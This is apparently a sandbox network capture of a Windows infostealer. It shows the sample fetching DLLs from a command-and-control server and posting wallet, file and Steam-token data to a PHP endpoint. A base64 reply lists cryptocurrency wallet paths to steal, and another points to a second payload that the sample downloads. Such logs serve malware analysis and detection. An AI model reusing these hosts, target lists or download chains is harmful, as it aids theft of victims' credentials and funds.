Dec 18, 2024 15:21:12.273205042 CET	1236	IN	Data Raw: 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 00 00 e9 74 fe ff ff 89 f8 89 cf 83 7d d8 00 0f 85 fd fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 Data Ascii: Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRAA q$]
Dec 18, 2024 15:21:12.281167030 CET	1236	IN	Data Raw: 18 ff ff ff 8b 75 b4 01 ce 8b 48 44 89 8d 34 ff ff ff 8b 55 c8 11 ca 8b bd 60 ff ff ff 01 fe 89 75 b4 13 55 98 31 d3 89 5d 94 89 d3 8b 85 64 ff ff ff 31 f0 89 85 64 ff ff ff 8b 4d ec 03 4d 94 89 4d ec 8b 55 e0 11 c2 89 55 e0 31 cf 8b 75 98 31 d6 Data Ascii: uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]d1]1U]uuEE11E}tBP`MBTD]H
Dec 18, 2024 15:21:14.026300907 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 15:21:14.463430882 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 18, 2024 15:21:15.409456968 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 15:21:15.846116066 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 18, 2024 15:21:16.776998043 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 15:21:17.214273930 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 18, 2024 15:21:22.314424992 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 15:21:22.751087904 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 18, 2024 15:21:23.300213099 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 15:21:23.738785028 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 18, 2024 15:21:25.816152096 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJKJJJECFHJJJKKEC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 15:21:26.909905910 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:21:26.989172935 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="message"wallets------DGCBAFIJDGHCAKECAEGC--
Dec 18, 2024 15:21:27.428322077 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 18, 2024 15:21:27.431368113 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 2d 2d 0d 0a Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="message"files------FBAAAKFCAFIIDHIDGHIE--
Dec 18, 2024 15:21:27.870436907 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:21:27.893734932 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="file"------ECGDAAFIIJDAAAAKFHID--
Dec 18, 2024 15:21:28.820672989 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:21:28.851434946 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 2d 2d 0d 0a Data Ascii: ------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="message"ybncbhylepme------FHCBGIIJKEBFCBGDBAEB--
Dec 18, 2024 15:21:29.293222904 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49817	185.215.113.16	80	6800	C:\Users\user\Desktop\random.exe.7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:21:29.421144009 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 18, 2024 15:21:30.761843920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:21:29 GMT Content-Type: application/octet-stream Content-Length: 2956800 Last-Modified: Wed, 18 Dec 2024 13:22:00 GMT Connection: keep-alive ETag: "6762cc78-2d1e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@1p-@Wk\|0,0 @.rsrc@.idata @osemtlkq**@fqwpihld0,@.taggant00",@
Dec 18, 2024 15:21:30.761966944 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:21:30.761985064 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:21:30.762006998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:21:30.762068987 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
